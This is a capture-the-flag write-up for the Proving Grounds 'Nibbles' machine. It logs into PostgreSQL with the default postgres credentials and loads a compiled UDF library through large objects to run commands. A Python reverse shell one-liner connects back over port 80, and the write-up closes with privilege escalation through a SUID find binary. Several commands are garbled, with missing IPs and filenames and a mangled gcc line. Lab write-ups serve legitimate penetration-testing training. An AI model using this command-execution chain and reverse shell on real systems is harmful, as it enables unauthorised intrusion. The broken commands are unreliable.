Writeup for Nibbles from Offensive Security Proving Grounds (PG)


Service Enumeration -H -t full -H -t vulns

  • Anonymous FTP not allowed

Subdirectory Enumeration

gobuster dir -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -x .txt,.html --threads 50


We know the default username is postgres. Trying the password postgres, we authenticate successfully.

Note that we are a privileged account, with the Superuser role.



Compile the shared library:

gcc lib_postgresqlugcc lib_postgresqludf_sys.c -I server -fPIC -shared -o

Generate the .psql payload:

xxd -p | tee udf.txt
while read line; do echo "select lo_put(PLACEHOLDER, $x, '\\\x$line');" >> u.psql; x=$((x+30)); done < udf.txt

Create and get the ID of the object:

Replace PLACEHOLDER in u.psql with 16385.

Deliver the payload: psql -h -p 5437 -U postgres -d postgres -f u.psql

select lo_export(16385, '/tmp/');

create or replace function exec(char) returns char as '/tmp/','sys_eval' language c strict;

At this point we have created a function that allows us to execute arbitrary commands.

Verify Python is installed: select exec('which python');

Note: the only port that works is port 80. Since the web application would be communicating with the PostgreSQL service through port 80, port 80 is likely whitelisted.

select exec('python -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")''');

Privilege Escalation

We can use LinPEAS to enumerate.

We see that the find binary has the SUID bit set.


We can leverage this to run /bin/sh with elevated privileges.

Last updated